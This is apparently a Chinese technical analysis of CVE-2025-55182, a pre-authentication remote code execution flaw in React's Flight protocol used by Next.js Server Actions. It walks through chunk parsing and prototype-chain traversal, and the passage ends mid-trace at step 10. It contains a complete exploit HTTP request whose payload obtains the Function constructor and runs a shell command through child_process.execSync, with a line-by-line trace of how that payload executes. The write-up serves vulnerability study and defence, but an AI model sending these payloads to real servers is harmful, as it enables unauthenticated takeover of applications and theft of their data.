一、漏洞概述
| 项目 |
内容 |
| CVE编号 |
CVE-2025-55182 |
| 漏洞类型 |
远程代码执行 (RCE) |
| 漏洞组件 |
React Flight Protocol (react-server-dom-webpack) |
| 受影响版本 |
react-server-dom-webpack 19.0.0 - 19.2.0, Next.js 15.x/16.x |
| CVSS评分 |
9.8 (Critical) |
| 认证要求 |
无需认证 (Pre-auth) |
二、React Server Components 技术背景
2.1 什么是 React Server Components (RSC)
React Server Components 是 React 18+ 引入的一种新型组件模型,允许组件在服务端渲染并将结果流式传输到客户端。与传统 SSR 不同,RSC 可以:
- 直接访问服务端资源:数据库、文件系统、内部 API
- 减少客户端 JavaScript 体积:服务端组件代码不会发送到客户端
- 保持交互性:与客户端组件无缝协作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| ┌─────────────────────────────────────────────────────────────────┐
│ React Server Components 架构 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Browser │ ←─────→ │ Server │ │
│ │ │ HTTP │ │ │
│ │ ┌──────────┐ │ │ ┌──────────┐ │ │
│ │ │ Client │ │ │ │ Server │ │ │
│ │ │Components│ │ │ │Components│ │ │
│ │ └──────────┘ │ │ └──────────┘ │ │
│ │ ↑ │ │ ↓ │ │
│ │ │ │ │ ┌────────┐ │ │
│ │ └───────┼─────────┼──│ Flight │ │ │
│ │ Flight │ │ │Protocol│ │ │
│ │ Protocol │ │ └────────┘ │ │
│ └──────────────┘ └──────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
|
2.2 什么是 React Server Functions (Server Actions)
Server Functions(在 Next.js 中称为 Server Actions)是 React 19 引入的 RPC-over-HTTP 机制,允许客户端像调用本地函数一样调用服务端函数。
2.2.1 Server Function 定义方式
1
2
3
4
5
6
7
8
9
| // app/actions.js
'use server' // 标记为 Server Function
export async function submitForm(formData) {
// 这段代码只在服务端执行
const name = formData.get('name');
await db.users.create({ name });
return { success: true };
}
|
2.2.2 客户端调用方式
1
2
3
4
5
6
7
8
9
10
11
12
13
| // app/page.jsx (Client Component)
'use client'
import { submitForm } from './actions';
export default function Form() {
async function handleSubmit(e) {
e.preventDefault();
const formData = new FormData(e.target);
// 看起来像本地调用,实际是 HTTP POST
const result = await submitForm(formData);
}
return <form onSubmit={handleSubmit}>...</form>;
}
|
2.2.3 底层通信机制
当客户端调用 submitForm(formData) 时,React 实际执行:
1
2
3
4
5
6
7
8
| 1. 客户端序列化参数 → Flight Protocol 格式
2. 发送 HTTP POST 请求到当前页面 URL
3. 请求头包含 Next-Action: <action-id>
4. 请求体是 multipart/form-data(Flight 格式)
5. 服务端反序列化参数
6. 执行对应的 Server Function
7. 序列化返回值 → Flight Protocol 格式
8. 客户端反序列化结果
|
2.3 Server Action 请求格式详解
2.3.1 HTTP 请求结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /page-url HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxk
Next-Action: 1a2b3c4d5e6f7890abcdef1234567890abcdef12
Next-Router-State-Tree: [encoded-tree]
------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="1_$ACTION_ID_1a2b3c..."
------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="0"
["$K1"]
------WebKitFormBoundary7MA4YWxk--
|
2.3.2 关键 HTTP 头
| Header |
说明 |
示例 |
Next-Action |
Server Action 的唯一标识符(40字符哈希) |
1a2b3c4d... |
Content-Type |
必须是 multipart/form-data |
multipart/form-data; boundary=... |
Next-Router-State-Tree |
路由状态(可选) |
[encoded] |
2.3.3 Action ID 的生成
Action ID 是 Server Function 的唯一标识符,由以下因素计算:
1
2
3
4
5
6
7
| // Next.js 内部生成逻辑(简化)
actionId = hash(
filePath + // 文件路径: "app/actions.js"
exportName + // 导出名: "submitForm"
functionBody // 函数体哈希
);
// 结果: "1a2b3c4d5e6f7890abcdef1234567890abcdef12"
|
tips: Next.js 只有知道有效 Action ID 的请求才是合法的。但 CVE-2025-55182 这个漏洞在验证 Action ID 之前就触发了。
三、React Flight Protocol 深度解析
3.1 什么是 Flight Protocol
Flight 是 React 团队设计的自定义流式序列化协议,用于在服务端和客户端之间传输 React 组件树、数据和引用。它是 React Server Components 的核心通信机制。
3.1.1 设计目标
| 目标 |
说明 |
| 流式传输 |
支持边渲染边传输,无需等待完整响应 |
| 引用共享 |
相同数据只传输一次,通过 ID 引用 |
| 类型保留 |
保留 React 特有类型(Promise、组件、函数引用等) |
| 紧凑高效 |
比纯 JSON 更紧凑,减少传输体积 |
| 双向支持 |
服务端→客户端(渲染)和客户端→服务端(Server Actions) |
3.1.2 Flight vs JSON
1
2
3
4
5
6
7
8
9
10
| // 普通 JSON - 无法表示引用、Promise、函数等
{
"user": {"name": "Alice"},
"posts": [{"author": {"name": "Alice"}}] // user 重复传输
}
// Flight 协议 - 支持引用共享
0:{"name":"Alice"} // Chunk 0: user 对象
1:{"author":"$0"} // Chunk 1: 引用 Chunk 0
2:{"user":"$0","posts":["$1"]} // Chunk 2: 根对象
|
3.1.3 Flight 在 Next.js 中的使用场景
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| ┌─────────────────────────────────────────────────────────────────────────┐
│ Flight 协议使用场景 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 场景 1: 页面渲染 (Server → Client) │
│ ┌────────────┐ Flight Response ┌────────────┐ │
│ │ Server │ ─────────────────────→ │ Client │ │
│ │ Components │ (组件树 + 数据) │ Hydrate │ │
│ └────────────┘ └────────────┘ │
│ │
│ 场景 2: Server Actions (Client → Server → Client) │
│ ┌────────────┐ Flight Request ┌────────────┐ │
│ │ Client │ ─────────────────────→ │ Server │ │
│ │ Action │ (函数参数) │ Action │ │
│ └────────────┘ └────────────┘ │
│ ↑ │ │
│ │ Flight Response │ │
│ └───────────────────────────────────────┘ │
│ (返回值) │
│ │
└─────────────────────────────────────────────────────────────────────────┘
|
3.2 Flight 数据格式
3.2.1 基本行格式
Flight 响应是多行文本流,每行格式为:
| 部分 |
说明 |
示例 |
id |
Chunk 的数字标识符 |
0, 1, 42 |
type |
单字符类型标识(可选) |
I, H, :, S, E 等 |
data |
JSON 或特殊格式数据 |
{"name":"test"} |
3.2.2 常见类型标识
| 类型 |
含义 |
示例 |
| (无) |
模型数据(JSON) |
0:{"name":"Alice"} |
I |
模块导入 |
0:I{"id":"./page.js","name":"default"} |
H |
提示/指令 |
0:H["prefetch","/api"] |
S |
Symbol |
0:S"react.element" |
E |
错误 |
0:E{"message":"Error"} |
3.2.3 完整 Flight 响应示例
1
2
3
4
| 0:I{"id":"./app/page.js","name":"default","chunks":["app/page"]}
1:{"name":"Alice","age":25}
2:["$","div",null,{"children":[["$","h1",null,{"children":"Hello"}],"$L3"]}]
3:{"user":"$1","loading":false}
|
解读:
- 行 0: 模块导入指令,加载
./app/page.js
- 行 1: 用户数据对象
- 行 2: React 元素树,
$L3 是延迟加载引用
- 行 3: 页面状态,
$1 引用行 1 的用户数据
3.3 Chunk 系统详解
3.3.1 什么是 Chunk
Chunk(块)是 Flight 协议的核心数据单位。每个 Chunk:
- 有唯一的数字 ID
- 有状态(pending → resolved → fulfilled/rejected)
- 可以通过
$ 引用其他 Chunk
- 实现了 thenable 接口(类似 Promise)
3.3.2 Chunk 状态机
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| ┌─────────────────────────────────────────────────────────────────────────┐
│ Chunk 状态转换图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ │
│ │ pending │ ← 初始状态,等待数据到达 │
│ └──────┬──────┘ │
│ │ │
│ │ 收到 Flight 行数据 │
│ ▼ │
│ ┌─────────────────┐ │
│ │ resolved_model │ ← 有原始 JSON 字符串,待解析 │
│ └────────┬────────┘ │
│ │ │
│ │ 被 await 或访问 .value 时 │
│ │ 调用 initializeModelChunk() │
│ ▼ │
│ ┌──────────────────────────────────────────┐ │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────┐ ┌─────────────┐ │
│ │ fulfilled │ ← 解析成功,有最终值 │ rejected │ ← 解析失败 │
│ │ │ │ │ │
│ │ chunk.value │ │chunk.reason │ │
│ │ = 解析结果 │ │ = Error │ │
│ └─────────────┘ └─────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
|
3.3.3 Chunk 内部数据结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| // React 源码: packages/react-client/src/ReactFlightClient.js
// Chunk 本质是一个 ReactPromise 对象
function ReactPromise(status, value, reason, response) {
this.status = status; // "pending" | "resolved_model" | "fulfilled" | "rejected"
this.value = value; // pending 时是监听器数组,fulfilled 时是解析结果
this.reason = reason; // pending 时是监听器数组,rejected 时是错误
this._response = response; // 所属的 Response 对象
}
// Chunk 继承 Promise 行为
ReactPromise.prototype = Object.create(Promise.prototype);
// 关键的 then 方法实现
ReactPromise.prototype.then = function(resolve, reject) {
var chunk = this;
switch (chunk.status) {
case "fulfilled":
resolve(chunk.value);
break;
case "pending":
case "blocked":
// 添加到监听器队列
if (resolve) chunk.value.push(resolve);
if (reject) chunk.reason.push(reject);
break;
case "resolved_model":
// ⚠️ 关键:触发解析
initializeModelChunk(chunk);
// 解析后递归处理
chunk.then(resolve, reject);
break;
case "rejected":
reject(chunk.reason);
break;
}
};
|
3.3.4 Response 对象
每个 Flight 解析会话有一个 Response 对象,管理所有 Chunk:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| function createResponse(bundlerConfig, formData, prefix) {
return {
_bundlerConfig: bundlerConfig, // Webpack/Turbopack 配置
_formData: formData, // 原始 FormData(Server Action)
_prefix: prefix, // Chunk ID 前缀
_chunks: new Map(), // id → Chunk 映射
_closed: false, // 流是否关闭
_closedReason: null, // 关闭原因
};
}
// 从 Response 获取或创建 Chunk
function getChunk(response, id) {
let chunk = response._chunks.get(id);
if (!chunk) {
// 从 FormData 获取数据
const data = response._formData.get(response._prefix + id);
if (data != null) {
chunk = new ReactPromise("resolved_model", data, id, response);
} else {
chunk = new ReactPromise("pending", [], [], response);
}
response._chunks.set(id, chunk);
}
return chunk;
}
|
3.4 特殊引用前缀系统
Flight 协议使用 $ 前缀系统来表示特殊值。当解析 JSON 时,如果字符串以 $ 开头,会进行特殊处理。
3.4.1 完整前缀列表
| 前缀 |
名称 |
语法 |
作用 |
处理逻辑 |
$ |
Chunk 引用 |
"$123" |
引用 chunk 123 的解析值 |
getChunk(123).value |
$@ |
原始 Chunk |
"$@123" |
获取 chunk 对象本身 |
getChunk(123) (不解引用) |
$L |
Lazy 引用 |
"$L123" |
惰性加载的 chunk |
返回 lazy wrapper |
$F |
Server Function |
"$F123" |
服务端函数引用 |
创建代理函数 |
$B |
Blob 数据 |
"$B123" |
二进制数据 |
formData.get(prefix + "123") |
$K |
FormData |
"$K123" |
FormData 引用 |
解析 FormData |
$Q |
Map 引用 |
"$Q123" |
Map 数据结构 |
解析为 Map |
$W |
Set 引用 |
"$W123" |
Set 数据结构 |
解析为 Set |
$n |
Number |
"$n123" |
大数字 |
BigInt(123) |
$u |
undefined |
"$undefined" |
undefined 值 |
undefined |
$D |
Date |
"$D2024-01-01" |
日期对象 |
new Date(...) |
$$ |
转义 |
"$$abc" |
字面量 $abc |
"$abc" (去掉一个 $) |
3.4.2 链式属性访问语法
除了简单引用,Flight 还支持链式属性访问:
1
2
3
| // 语法: "$<chunkId>:<key1>:<key2>:..."
// 示例: "$1:user:profile:name"
// 等价于: getChunk(1).value.user.profile.name
|
解析代码(漏洞所在):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| function parseModelString(response, parentObj, key, value) {
if (value[0] === '$') {
switch (value[1]) {
case '$':
return value.slice(1); // 转义
case '@':
// 原始 chunk 引用
return getChunk(response, parseInt(value.slice(2), 16));
case 'B':
// Blob 处理 ⚠️ 攻击利用点
var id = parseInt(value.slice(2), 16);
return response._formData.get(response._prefix + id);
// ... 其他类型
default:
// 链式引用: "$1:key1:key2"
var ref = value.slice(1);
var colonIdx = ref.indexOf(':');
if (colonIdx > -1) {
var id = parseInt(ref.slice(0, colonIdx), 16);
var path = ref.slice(colonIdx + 1);
var chunk = getChunk(response, id);
// ⚠️ 漏洞: 直接访问属性链,无 hasOwnProperty 检查
return loadServerReference(chunk, path);
}
return getChunk(response, parseInt(ref, 16));
}
}
return value;
}
|
3.4.3 $ vs $@ 的本质区别
这是理解漏洞的关键:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| // 假设 Chunk 0 的原始数据是: '{"name": "Alice"}'
// ===== "$0" - 普通引用 =====
// 返回解析后的 JavaScript 值
parseModelString("$0")
// 执行流程:
// 1. getChunk(0) → Chunk 对象
// 2. 如果 status 是 "resolved_model",调用 initializeModelChunk
// 3. 返回 chunk.value (解析后的值)
// 结果: { name: "Alice" } ← 普通 JS 对象
// ===== "$@0" - 原始 Chunk 引用 =====
// 返回 Chunk 对象本身,不解析
parseModelString("$@0")
// 执行流程:
// 1. getChunk(0) → Chunk 对象
// 2. 直接返回(不调用 initializeModelChunk)
// 结果:
ReactPromise {
status: "resolved_model",
value: '{"name": "Alice"}',
reason: null,
_response: Response {...},
__proto__: ReactPromise.prototype // ⚠️ 可访问原型链!
}
|
安全影响: $@ 让攻击者能获取内部 Chunk 对象,从而访问:
Chunk.__proto__ → ReactPromise.prototype
Chunk.__proto__.then → ReactPromise.prototype.then 方法
Chunk.__proto__.constructor → Object → Function
3.5 关键函数详解
3.5.1 getChunk - 获取或创建 Chunk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| function getChunk(response, id) {
var chunks = response._chunks;
var chunk = chunks.get(id);
if (!chunk) {
// Chunk 不存在,尝试从 FormData 获取
var formData = response._formData;
if (formData) {
var data = formData.get(response._prefix + id);
if (data != null) {
// 创建 resolved_model 状态的 Chunk
chunk = new ReactPromise(
"resolved_model", // status
data, // value (原始 JSON 字符串)
id, // reason (这里存 id)
response // response
);
}
}
if (!chunk) {
// 创建 pending 状态的 Chunk
chunk = createPendingChunk(response);
}
chunks.set(id, chunk);
}
return chunk;
}
|
漏洞利用点: 攻击者通过 FormData 提供的数据会被直接用于创建 Chunk,data 参数完全可控。
3.5.2 initializeModelChunk - 解析 JSON 模型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| function initializeModelChunk(chunk) {
var response = chunk._response;
var value = chunk.value; // 原始 JSON 字符串
try {
// 解析 JSON,过程中处理 $ 引用
var parsed = parseModel(response, value);
// 更新 Chunk 状态
chunk.status = "fulfilled";
chunk.value = parsed;
} catch (error) {
chunk.status = "rejected";
chunk.reason = error;
}
}
|
攻击利用: 攻击者可以构造特殊的 JSON,让 parseModel 执行危险操作。
3.5.3 ReactPromise.prototype.then - thenable 接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| ReactPromise.prototype.then = function(resolve, reject) {
var chunk = this;
switch (chunk.status) {
case "fulfilled":
// 已解析,直接返回值
if (resolve) resolve(chunk.value);
break;
case "pending":
case "blocked":
// 等待中,注册回调
if (resolve) chunk.value.push(resolve);
if (reject) chunk.reason.push(reject);
break;
case "resolved_model":
// ⚠️ 关键: 需要解析
initializeModelChunk(chunk);
// 解析后递归处理
if (chunk.status === "fulfilled") {
if (resolve) resolve(chunk.value);
} else if (chunk.status === "rejected") {
if (reject) reject(chunk.reason);
}
break;
case "rejected":
if (reject) reject(chunk.reason);
break;
}
};
|
攻击利用: 当 await 一个 thenable 对象时,JavaScript 会调用其 then 方法。攻击者构造一个假 Chunk 对象,设置 status: "resolved_model" 和恶意 value,当被 await 时会触发 initializeModelChunk。
四、漏洞根本原因深度分析
4.1 漏洞位置
漏洞存在于 react-server-dom-webpack 包的 Flight 协议解析代码中,具体在处理链式属性引用时。
4.2 漏洞代码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| // 简化的漏洞代码
function loadServerReference(chunk, path) {
// path = "key1:key2:key3"
var keys = path.split(':');
var value = chunk.value; // 起始值
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
// ⚠️ 漏洞: 直接使用方括号访问
// 没有检查 key 是否是对象自身属性
value = value[key];
}
return value;
}
|
4.3 为什么缺少 hasOwnProperty 是危险的
4.3.1 JavaScript 原型链基础
1
2
3
4
5
6
7
8
9
10
11
12
13
| const obj = { name: "test" };
// 自身属性
obj.name // "test"
obj.hasOwnProperty("name") // true
// 继承属性(来自原型链)
obj.toString // [Function: toString]
obj.hasOwnProperty("toString") // false ← 不是自身属性
// __proto__ 是特殊属性
obj.__proto__ // Object.prototype
obj.hasOwnProperty("__proto__") // false
|
4.3.2 攻击者如何利用
1
2
3
4
5
6
7
8
9
10
11
12
13
| // 正常访问
obj["name"] // "test" ✓
// 攻击者输入 "__proto__"
obj["__proto__"] // Object.prototype ← 访问到原型!
obj["__proto__"]["constructor"] // Object
obj["__proto__"]["constructor"]["constructor"] // Function!
// 有 hasOwnProperty 检查时
if (obj.hasOwnProperty("__proto__")) {
return obj["__proto__"];
}
// 不会执行,因为 __proto__ 不是自身属性
|
4.4 原型链攻击向量
4.4.1 获取 Function 构造函数
1
2
3
4
5
6
7
8
9
10
11
12
13
| // 任意对象都可以通过原型链获取 Function
const anyObj = {};
anyObj.__proto__ // Object.prototype
.constructor // Object
.constructor // Function ← 获得!
// 或者更直接
anyObj.constructor.constructor // Function
// 利用 Function 执行代码
const evil = Function("return process.mainModule.require('child_process').execSync('id')");
evil(); // 执行系统命令
|
4.4.2 获取 Chunk.prototype.then
这是漏洞利用的精妙之处:
1
2
3
4
5
6
7
8
9
10
11
| // Chunk 1 的值设为 "$@0"(原始 Chunk 引用)
// 解析后,Chunk 1 的 value 是 Chunk 0 对象本身
// 当访问 "$1:__proto__:then" 时:
const chunk1Value = parseModelString("$@0");
// chunk1Value = ReactPromise { status, value, ... }
chunk1Value.__proto__ // ReactPromise.prototype
.then // ReactPromise.prototype.then 方法!
// 现在攻击者可以把这个方法赋给伪造对象的 then 属性
|
4.5 完整攻击原语
通过原型链,攻击者可以获取:
| 引用路径 |
获得的值 |
用途 |
$1:__proto__:then |
Chunk.prototype.then |
让伪造对象成为合法 thenable |
$1:constructor:constructor |
Function |
动态创建并执行代码 |
$1:__proto__:constructor |
Object |
获取 Object 构造函数 |
$1:__proto__:constructor:prototype |
Object.prototype |
访问所有对象的原型 |
五、完整利用链详解
5.1 攻击目标
攻击者的最终目标是在服务端执行任意代码。要实现这一目标,需要:
- 获取
Function 构造函数 - 用于动态创建可执行代码
- 找到一个”调用点” - 让创建的函数被执行
- 绑定恶意代码 - 将要执行的命令传入 Function
5.2 攻击请求结构
5.2.1 完整 HTTP 请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| POST / HTTP/1.1
Host: vulnerable-nextjs-app.com
Content-Type: multipart/form-data; boundary=----FormBoundary
Next-Action: x
------FormBoundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw new Error(require('child_process').execSync('id').toString());","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------FormBoundary
Content-Disposition: form-data; name="1"
"$@0"
------FormBoundary
Content-Disposition: form-data; name="2"
[]
------FormBoundary--
|
5.2.2 请求头分析
| Header |
值 |
作用 |
Content-Type |
multipart/form-data |
Flight 协议使用 FormData 传输 |
Next-Action |
x |
任意值,触发 Server Action 处理流程 |
关键点: Next-Action: x 不是有效的 Action ID,但漏洞在验证 Action ID 之前就触发了!
5.3 Payload 结构深度解析
攻击 payload 由 3 个 Chunk 组成,每个都有特定作用:
5.3.1 Chunk 0 - 伪造的 Chunk 对象(核心 Payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
| {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "throw new Error(require('child_process').execSync('id').toString());",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
|
各字段详细解析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
| ┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "then": "$1:__proto__:then" │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 让伪造对象拥有真正的 Chunk.prototype.then 方法 │
│ │
│ 解析过程: │
│ "$1:__proto__:then" │
│ ↓ 解析 $1 │
│ getChunk(1).value = "$@0" 的解析结果 = Chunk 0 对象本身 │
│ ↓ 访问 __proto__ │
│ Chunk 0 对象.__proto__ = ReactPromise.prototype │
│ ↓ 访问 then │
│ ReactPromise.prototype.then = 真正的 then 方法 ✓ │
│ │
│ 结果: 伪造对象的 then 属性 = ReactPromise.prototype.then │
│ 这让伪造对象成为一个"合法"的 thenable │
└─────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "status": "resolved_model" │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 当 then() 被调用时,触发 initializeModelChunk() │
│ │
│ 原理: ReactPromise.prototype.then 的实现: │
│ switch (this.status) { │
│ case "resolved_model": │
│ initializeModelChunk(this); // ← 会被触发! │
│ break; │
│ } │
│ │
│ 结果: await 伪造对象时,会解析其 value 字段 │
└─────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "reason": -1 │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 某些代码路径检查此字段,-1 避免类型错误 │
└─────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "value": "{\"then\":\"$B1337\"}" │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 内层 payload,被 initializeModelChunk 解析 │
│ │
│ 内容: {"then": "$B1337"} │
│ │
│ 解析后: { then: <$B1337 的结果> } │
│ │
│ $B1337 的处理: │
│ case 'B': │
│ return response._formData.get(response._prefix + "1337"); │
│ │
│ 由于 _formData.get = Function, _prefix = "恶意代码;" │
│ 所以: Function("恶意代码;1337") → 返回一个函数 │
│ │
│ 最终: value 解析为 { then: <恶意函数> } │
│ 这是一个 thenable,被 await 时会执行 then() │
└─────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "_response": {...} │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 伪造的 Response 对象,initializeModelChunk 会使用它 │
│ │
│ 子字段: │
│ │
│ "_prefix": "throw new Error(require('child_process').execSync('id')...);│
│ → 要执行的恶意代码(不以分号结尾,因为会拼接 ID) │
│ │
│ "_chunks": "$Q2" │
│ → 指向空数组,避免遍历 _chunks 时报错 │
│ │
│ "_formData": {"get": "$1:constructor:constructor"} │
│ → get 属性 = Function 构造函数 │
│ → 解析: getChunk(1) → Chunk0对象 → constructor → Object → constructor │
│ → Function │
└─────────────────────────────────────────────────────────────────────────┘
|
5.3.2 Chunk 1 - 原始 Chunk 引用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| ┌─────────────────────────────────────────────────────────────────────────┐
│ 解析: "$@0" │
├─────────────────────────────────────────────────────────────────────────┤
│ $@ 前缀表示"获取原始 Chunk 对象" │
│ │
│ 返回值: Chunk 0 的 ReactPromise 对象本身(不是解析后的值) │
│ │
│ 结构: │
│ ReactPromise { │
│ status: "resolved_model", │
│ value: '{"then":"$1:__proto__:then",...}', │
│ _response: Response {...}, │
│ __proto__: ReactPromise.prototype ← 可访问原型链! │
│ } │
│ │
│ 用途: │
│ 1. $1:__proto__:then → 获取 ReactPromise.prototype.then │
│ 2. $1:constructor:constructor → 获取 Function 构造函数 │
└─────────────────────────────────────────────────────────────────────────┘
|
5.3.3 Chunk 2 - 空数组
1
2
3
4
5
6
| ┌─────────────────────────────────────────────────────────────────────────┐
│ 用途: 作为 _chunks 的值(通过 $Q2 引用) │
├─────────────────────────────────────────────────────────────────────────┤
│ 原因: initializeModelChunk 可能会迭代 _response._chunks │
│ 提供空数组避免迭代时出现类型错误 │
└─────────────────────────────────────────────────────────────────────────┘
|
5.4 利用流程 - 逐步执行分析
步骤 1: 请求进入 Next.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| // next/dist/server/app-render/action-handler.js
export async function handleAction(req, res, ...) {
// 1. 检查是否是 Server Action 请求
const actionId = req.headers['next-action']; // "x"
if (!actionId) return; // 不是 Action 请求
// 2. ⚠️ 关键: 先反序列化,再验证 Action ID
let boundActionArguments;
if (isMultipartAction) {
// 使用 Busboy 解析 multipart 数据
const formData = await parseMultipartFormData(req);
// 调用 Flight 协议反序列化
boundActionArguments = await decodeReplyFromBusboy(formData);
// ↑ 漏洞在这里触发,程序不会执行到下面
}
// 3. 验证 Action ID(永远不会执行到)
const action = await getAction(actionId);
if (!action) {
throw new Error('Invalid Server Action');
}
}
|
关键: 反序列化发生在验证 Action ID 之前,这是 Pre-auth 的原因。
步骤 2: Flight 协议开始解析
1
2
3
4
5
6
7
8
9
10
11
| // react-server-dom-webpack/src/ReactFlightDOMServerNode.js
function decodeReplyFromBusboy(formData) {
// 创建 Response 对象
const response = createResponse(bundlerConfig, formData, "");
// 获取根 Chunk (ID=0)
const root = getChunk(response, 0);
// 返回 root,它是一个 thenable
return root;
}
|
步骤 3: getChunk 创建 Chunk 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| function getChunk(response, id) { // id = 0
let chunk = response._chunks.get(id); // undefined
if (!chunk) {
// 从 FormData 获取数据
const data = response._formData.get("0");
// data = '{"then":"$1:__proto__:then",...}'
// 创建 Chunk
chunk = new ReactPromise(
"resolved_model", // status
data, // value = 恶意 JSON 字符串
0, // reason = id
response // response
);
response._chunks.set(0, chunk);
}
return chunk; // 返回 Chunk 0
}
|
步骤 4: await 触发 then()
1
2
3
4
5
6
7
| // 在 action-handler.js 中
const args = await decodeReplyFromBusboy(formData);
// ↑ await 一个 thenable 会调用其 then 方法
// 实际执行:
chunk0.then(resolve, reject);
// chunk0 是真正的 ReactPromise,所以调用 ReactPromise.prototype.then
|
步骤 5: initializeModelChunk 被调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| // ReactPromise.prototype.then
Chunk.prototype.then = function(resolve, reject) {
switch (this.status) { // "resolved_model"
case "resolved_model":
initializeModelChunk(this); // ← 触发!
break;
}
};
// initializeModelChunk
function initializeModelChunk(chunk) {
const response = chunk._response; // 真正的 Response
const json = chunk.value; // '{"then":"$1:__proto__:then",...}'
// 解析 JSON
const parsed = parseModel(response, json);
// parsed = 伪造的 Chunk 对象
chunk.status = "fulfilled";
chunk.value = parsed;
}
|
步骤 6: 解析 Chunk 0 的 JSON - 获取 Chunk.prototype.then
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| // parseModel 解析 JSON,遇到 "$1:__proto__:then"
function parseModelString(response, value) {
// value = "$1:__proto__:then"
if (value[0] === '$') {
// 解析链式引用
var ref = value.slice(1); // "1:__proto__:then"
var colonIdx = ref.indexOf(':'); // 1
var id = parseInt(ref.slice(0, colonIdx)); // 1
var path = ref.slice(colonIdx + 1); // "__proto__:then"
// 获取 Chunk 1
var chunk1 = getChunk(response, 1);
// Chunk 1 的 value = '"$@0"'
// 解析后 = Chunk 0 对象本身
var value = resolveChunk(chunk1); // Chunk 0 对象
// 遍历路径 "__proto__:then"
var keys = path.split(':'); // ["__proto__", "then"]
for (var key of keys) {
value = value[key]; // ⚠️ 没有 hasOwnProperty 检查!
}
// value["__proto__"] = ReactPromise.prototype
// value["then"] = ReactPromise.prototype.then
return value; // 返回真正的 then 方法!
}
}
|
1
2
3
4
5
6
7
8
| // 解析 "$1:constructor:constructor"
var chunk1Value = resolveChunk(getChunk(1)); // Chunk 0 对象
var value = chunk1Value;
value = value["constructor"]; // Object (因为 Chunk 0 是对象)
value = value["constructor"]; // Function!
// 现在 _formData.get = Function 构造函数
|
步骤 8: 构建完成的伪造对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| // 解析完成后,Chunk 0 的 value 变成:
const fakeChunk = {
then: ReactPromise.prototype.then, // 真正的 then 方法
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
_prefix: "throw new Error(require('child_process').execSync('id').toString());",
_chunks: [],
_formData: {
get: Function // Function 构造函数!
}
}
};
|
步骤 9: 外层 await 触发伪造对象的 then
1
2
3
4
5
6
7
8
9
10
11
| // initializeModelChunk 完成后,chunk0.value = fakeChunk
// 但 fakeChunk 也是 thenable(有 then 方法)
// 当处理完成后,会 await fakeChunk
await fakeChunk;
// 这会调用:
fakeChunk.then(resolve, reject);
// 由于 fakeChunk.then === ReactPromise.prototype.then
// 等价于:
ReactPromise.prototype.then.call(fakeChunk, resolve, reject);
|
步骤 10: 第二次 initializeModelChunk
1
2
3
4
5
6
7
8
9
10
11
12
| // ReactPromise.prototype.then 检查 this.status
// fakeChunk.status === "resolved_model"
